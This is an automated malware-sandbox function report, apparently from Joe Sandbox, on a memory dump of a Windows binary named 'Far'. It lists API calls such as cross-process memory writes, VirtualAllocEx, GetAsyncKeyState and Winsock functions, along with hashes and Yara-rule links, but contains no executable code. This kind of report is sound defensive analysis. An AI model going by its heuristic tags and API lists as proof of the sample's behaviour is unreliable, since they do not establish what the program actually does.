Function 00007FF73D079FC8 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 121COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D07A006

Strings

E, xrefs: 00007FF73D07A0A7
O, xrefs: 00007FF73D07A0AD
#, xrefs: 00007FF73D07A09B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: #$E$O
API String ID: 3215553584-248080428
Opcode ID: 3ec0da66385ca5cfa3e6e9d06278922857a071159ec432c0170ef47ddb72b8c3
Instruction ID: 85b90fa07ae09138c91edfd1bb3696839de30e44ff16ca2ce5ba2e8b6df18f9a
Opcode Fuzzy Hash: 3ec0da66385ca5cfa3e6e9d06278922857a071159ec432c0170ef47ddb72b8c3
Instruction Fuzzy Hash: 5641B326A1D75994EF51AFA198401BEA3A0BF54F88F884431EE4D1B788EF3ED441E720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0696F4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF73D069714
GetProcAddress.KERNEL32 ref: 00007FF73D06972A
FreeLibrary.KERNEL32 ref: 00007FF73D06974F

Strings

CorExitProcess, xrefs: 00007FF73D069723
mscoree.dll, xrefs: 00007FF73D06970B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: afb4a62be29347168b42662bc3e650bd235de2c76d17d961c5843a48846b1531
Instruction ID: df3d4feaf6215d6cb6b5caebf3054ca649f60000690f9b10f610b31cf6ea538c
Opcode Fuzzy Hash: afb4a62be29347168b42662bc3e650bd235de2c76d17d961c5843a48846b1531
Instruction Fuzzy Hash: 08F08161B1E64AA1EF44AF91F4902B8A3A4EF88F80FD41035E94F42654EF2CD448D620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D56D0 Relevance: 7.8, APIs: 5, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32 ref: 00007FF73D0D582C
#17.WSOCK32 ref: 00007FF73D0D5861
WSAGetLastError.WSOCK32 ref: 00007FF73D0D5870
inet_ntoa.WSOCK32 ref: 00007FF73D0D590F
htons.WSOCK32 ref: 00007FF73D0D595F

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ErrorLasthtonsinet_ntoa
String ID:
API String ID: 2227131780-0
Opcode ID: b8412e8eb80b69da258664e80ccf32a33d46311eecff775981195d72280db8fd
Instruction ID: ed675c1d8a8e3ba8535a1c31010173a01dbe456fc637245b03f4fc99bf40a346
Opcode Fuzzy Hash: b8412e8eb80b69da258664e80ccf32a33d46311eecff775981195d72280db8fd
Instruction Fuzzy Hash: 02A1F662B0C64AA1DA10FBA6D4646BEE7A1FF81F84F804532DE4E47796EF3CD1059B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0DF9C4 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF73D0DFA76
OpenProcess.KERNEL32 ref: 00007FF73D0DFA86
GetProcessIoCounters.KERNEL32 ref: 00007FF73D0DFABD
CloseHandle.KERNEL32 ref: 00007FF73D0DFC7A

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: bbf055172a3d456f69b0e07664c541ced1dd4fe7ea429e82dbb20806ceed39ac
Instruction ID: 4ba6d4c22f2ad8a256b1a3888dfb10bf181253739a72bd60dfefe6871be9864d
Opcode Fuzzy Hash: bbf055172a3d456f69b0e07664c541ced1dd4fe7ea429e82dbb20806ceed39ac
Instruction Fuzzy Hash: E281D122B0C69695EB14EFA6C528ABDABA0BB48FC4F848031DE0D17796EF3CD401D750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D07F298 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D07F2DD

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9db25d0a3234ccf5d863845c83a8ddb1a3b988ca091e57f486abf52e8bc045d2
Instruction ID: f79c5bb157f5902811fe8bf7cfa033603ef7e4d7762c906c95002ffae5d9b1e0
Opcode Fuzzy Hash: 9db25d0a3234ccf5d863845c83a8ddb1a3b988ca091e57f486abf52e8bc045d2
Instruction Fuzzy Hash: 6981A022F1C65AA6F720BBA594406BDABA0BB44F54FC04135DE1E1B695EF3CE442E730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D04155C Relevance: 7.6, APIs: 5, Instructions: 124keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF73D04158B
ScreenToClient.USER32 ref: 00007FF73D0415AA
GetAsyncKeyState.USER32 ref: 00007FF73D0415DC
GetAsyncKeyState.USER32 ref: 00007FF73D0415FC

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 9127a972c162cbac40c62116804b3e347b50689ba121df17bb24bde030dc29d4
Instruction ID: 092802efb7aadd399d0da373722262fd48312354315894958e6a776209637f81
Opcode Fuzzy Hash: 9127a972c162cbac40c62116804b3e347b50689ba121df17bb24bde030dc29d4
Instruction Fuzzy Hash: 14512232B0C656ABE358EF72D4405A9B764FB08B54F500235EF6E43B85DF38E4519B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D07BFBC Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF73D07C0DE

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: e71795fefc77e1d432e1abb1b11e1854833eb482a710277cf669d7f771635b40
Instruction ID: 7a70bbe72ca37a7ceb9ce5dadc3ace237e9cd5b6413394c7115478bacfa0c655
Opcode Fuzzy Hash: e71795fefc77e1d432e1abb1b11e1854833eb482a710277cf669d7f771635b40
Instruction Fuzzy Hash: 2A41E661B0E64EA1FA11BB91A8046B9E3A5BF44F90F894535ED2D4F784FF3CE40463A4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D3F90 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF73D0D3FC2
GetForegroundWindow.USER32 ref: 00007FF73D0D3FDB
GetDC.USER32 ref: 00007FF73D0D401E
GetPixel.GDI32 ref: 00007FF73D0D402F
ReleaseDC.USER32 ref: 00007FF73D0D4067

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 70514b9b7d05f2a3f30778e794a0a893e1136449a4d60a970c1cae28c2705a0b
Instruction ID: 46d07f2db35b61fe4755f3d43961d710b8be274ca9887bf470f4cb549cb37d8c
Opcode Fuzzy Hash: 70514b9b7d05f2a3f30778e794a0a893e1136449a4d60a970c1cae28c2705a0b
Instruction Fuzzy Hash: 4F218022B08A5992EB04EFA7E8940ADA3A1FB88F90B944036DE4D87756EF7CD441D750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D07FF64 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF73D07FF8B
_set_statfp.LIBCMT ref: 00007FF73D07FFA6
_set_statfp.LIBCMT ref: 00007FF73D07FFC2
_set_statfp.LIBCMT ref: 00007FF73D07FFFE

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 73dca32b358ad2077a7c5345a735f46d455ad7c227746cbdc11ebc546046a131
Instruction ID: 002b08b6824bd9811d2f7129f37ae17d33c943ff460bb88cb15dd51aeaf8363e
Opcode Fuzzy Hash: 73dca32b358ad2077a7c5345a735f46d455ad7c227746cbdc11ebc546046a131
Instruction Fuzzy Hash: 0B11E723E0CB0B31F65435E6D542379D842BF42B70F894630F67D4A5EAAF6CA440A120

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0AD714 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 00007FF73D0AD746
GetLastError.KERNEL32 ref: 00007FF73D0AD752
GetProcessHeap.KERNEL32 ref: 00007FF73D0AD75F
HeapAlloc.KERNEL32 ref: 00007FF73D0AD76E
GetTokenInformation.ADVAPI32 ref: 00007FF73D0AD78D

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: e3925e5b63fc2b2835a4c8602648939fc0ba2a9a5fe920ccfee8e4a2bc238299
Instruction ID: 63d568301b164f3335333f5cfb8e43d6d07ca481dd21ae467df2dc7cb6a8c792
Opcode Fuzzy Hash: e3925e5b63fc2b2835a4c8602648939fc0ba2a9a5fe920ccfee8e4a2bc238299
Instruction Fuzzy Hash: 06118836608B9186E754DF42E88059DB7A8FB88F90BA94435CF9903B14FF38E811C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0AD7B8 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 00007FF73D0AD7EA
GetLastError.KERNEL32 ref: 00007FF73D0AD7F6
GetProcessHeap.KERNEL32 ref: 00007FF73D0AD803
HeapAlloc.KERNEL32 ref: 00007FF73D0AD812
GetTokenInformation.ADVAPI32 ref: 00007FF73D0AD831

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: d41dff1efbe5f0cd7985acd07f36eb91ce587f9c76dfd0e4915369b3380bc83a
Instruction ID: 5d5853f4efb78e62afebb2b099d4170a7be14e618ec92f0e9c630271e345c1df
Opcode Fuzzy Hash: d41dff1efbe5f0cd7985acd07f36eb91ce587f9c76dfd0e4915369b3380bc83a
Instruction Fuzzy Hash: 59113A36608B5196E710AF92E84055DB7B8FB88F80B994536DF9947B14EF38E815C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B3B58 Relevance: 7.5, APIs: 5, Instructions: 37windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF73D0B3B74
GetWindowTextW.USER32 ref: 00007FF73D0B3B8F
MessageBeep.USER32 ref: 00007FF73D0B3BA4
KillTimer.USER32 ref: 00007FF73D0B3BC7
EndDialog.USER32 ref: 00007FF73D0B3BE7

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 833b7568b164686ca59d3f4ccdf409992e5fbf16589a9e1f7bd0406267d2b037
Instruction ID: 6a93c56e48d1ffa7f24416436f21d703bd4c5a82042997ccefc20613e13bf801
Opcode Fuzzy Hash: 833b7568b164686ca59d3f4ccdf409992e5fbf16589a9e1f7bd0406267d2b037
Instruction Fuzzy Hash: C811CC22A0C94A91EB21BBB4E4547BDA360FF84F44FD48035CA8D47298EFBDD489D760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0C7DCC Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 308comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF73D0C7F84
CoCreateInstance.OLE32 ref: 00007FF73D0C7FA7
CoUninitialize.OLE32 ref: 00007FF73D0C827A

Strings

.lnk, xrefs: 00007FF73D0C7E0A, 00007FF73D0C7E85, 00007FF73D0C7F30

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: .lnk
API String ID: 948891078-24824748
Opcode ID: e3c816f570cbd0ec0d6eb376bd4c1e2c4743be2329f5d15e00cad217cd143534
Instruction ID: 7430fb601c1519582629906985bd1a49e7a9be725accc27fb8fc4d6cf70504b5
Opcode Fuzzy Hash: e3c816f570cbd0ec0d6eb376bd4c1e2c4743be2329f5d15e00cad217cd143534
Instruction Fuzzy Hash: 6BD1E56271CA5AA1EB10EBA6D4946ADAB70FB80F84F805031EE4E47B65FF3CD405DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D06B778 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D06B7A1
_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D06B97E

Strings

*, xrefs: 00007FF73D06B8B2
, xrefs: 00007FF73D06B907

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: c055e2a7898669bbbe43ab947f78cdc000531ae5bf8c58aeb1286c74639529ea
Instruction ID: df1f52ff59cb29f85bb3b4d1a1509fd9f4179e6bde890984825a07385e1c4361
Opcode Fuzzy Hash: c055e2a7898669bbbe43ab947f78cdc000531ae5bf8c58aeb1286c74639529ea
Instruction Fuzzy Hash: DE618AB2A0D24A9AF76AAEF4C05437CB7A0EB05F08F941135C64E422D9EF6CD441E731

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0AF720 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0BA384: WriteProcessMemory.KERNEL32 ref: 00007FF73D0BA3CF

SendMessageW.USER32 ref: 00007FF73D0AF795

Part of subcall function 00007FF73D0BA338: ReadProcessMemory.KERNEL32 ref: 00007FF73D0BA376

Part of subcall function 00007FF73D0BA238: GetWindowThreadProcessId.USER32 ref: 00007FF73D0BA27C
Part of subcall function 00007FF73D0BA238: OpenProcess.KERNEL32(?,?,?,?,00000000,00007FF73D0AF06A), ref: 00007FF73D0BA28E
Part of subcall function 00007FF73D0BA238: VirtualAllocEx.KERNEL32 ref: 00007FF73D0BA2B4

SendMessageW.USER32 ref: 00007FF73D0AF81D
SendMessageW.USER32 ref: 00007FF73D0AF877

Strings

@, xrefs: 00007FF73D0AF892

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 6380ddbfdd342884776b23bf1dce6471886363c6786550ee911b86bdb9c54e4e
Instruction ID: c4e7938a41898dd2d523374b4d1438210fbfda14e9fa2af6f8cff4a3b7bb66f5
Opcode Fuzzy Hash: 6380ddbfdd342884776b23bf1dce6471886363c6786550ee911b86bdb9c54e4e
Instruction Fuzzy Hash: D351AF3361C685A6EB10EB91E4806AEFB60FB88B84F850035FE4D57B49EB7CD505CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0EBDCC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D046CA0: CreateWindowExW.USER32 ref: 00007FF73D046D30
Part of subcall function 00007FF73D046CA0: GetStockObject.GDI32 ref: 00007FF73D046D4D
Part of subcall function 00007FF73D046CA0: SendMessageW.USER32 ref: 00007FF73D046D60

SendMessageW.USER32 ref: 00007FF73D0EBEB0
SetWindowPos.USER32 ref: 00007FF73D0EBED9
SendMessageW.USER32 ref: 00007FF73D0EBF10

Strings

SysMonthCal32, xrefs: 00007FF73D0EBE13

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStock
String ID: SysMonthCal32
API String ID: 2671490118-1439706946
Opcode ID: 19626ad3cce646eb8808af0153a0a32d7f15e4a3f84b6a2de6a8db8986ef7ed6
Instruction ID: b6435408bc65223c7304c48e252966a8ab51aaf742225ab6017f0f4a49a1b3c6
Opcode Fuzzy Hash: 19626ad3cce646eb8808af0153a0a32d7f15e4a3f84b6a2de6a8db8986ef7ed6
Instruction Fuzzy Hash: 36417D3260C6C696E770DF65E044BAAF7A0F788790F904225EA9903A99EF3CD4858F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0C5EC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF73D0C5EF1
GetVolumeInformationW.KERNEL32 ref: 00007FF73D0C5F67
SetErrorMode.KERNEL32 ref: 00007FF73D0C5FD6

Strings

%lu, xrefs: 00007FF73D0C5F78

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: a383e85b43ea32882848ee4f2e9b3553474e12a60368ba4d4d3540b5252c881f
